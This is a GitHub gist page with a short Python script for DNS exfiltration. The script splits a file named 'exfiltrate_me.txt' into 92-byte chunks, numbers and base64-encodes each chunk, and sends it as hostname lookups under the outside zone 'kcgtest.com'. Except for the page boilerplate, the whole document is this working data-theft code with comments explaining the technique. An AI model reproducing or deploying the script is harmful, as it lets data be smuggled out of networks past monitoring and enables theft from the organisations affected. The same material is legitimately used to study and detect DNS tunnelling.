Last active
May 9, 2022 10:23
-
-
Save cagingulsen/1a0e7194ebe3c8fbb9d80bc65d594794 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import socket | |
| import base64 | |
| import struct | |
| import time | |
| """ Break a large file into small 96 byte chunks | |
| Sequence the chunks, pack and b64 encode them | |
| Then send DNS queries """ | |
| # If you don't like non-valid characters in the hostname, | |
| # then use hex encoding rather than base64 | |
| DNS_ZONE = b".kcgtest.com" | |
| socket.setdefaulttimeout(1) | |
| def break_file(read_filename): | |
| try: | |
| with open(read_filename, "rb") as fp: | |
| part = 0 | |
| while 1: | |
| time.sleep(0.05) | |
| data = fp.read(92) | |
| if data: | |
| try: | |
| # Binary pack the data uint32 + 8 byte string | |
| payload = struct.pack('L92s', part, data) | |
| b64_payload = base64.b64encode(payload) | |
| part = part+1 | |
| name = b64_payload + DNS_ZONE | |
| print(part) | |
| print(name) | |
| # This will throw an exception, ignore it | |
| result = socket.gethostbyname(name) | |
| except Exception as ex: | |
| continue | |
| else: | |
| print("Complete") | |
| break | |
| fp.close() | |
| except Exception as e: | |
| print(e) | |
| # Run Program | |
| break_file('exfiltrate_me.txt') |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment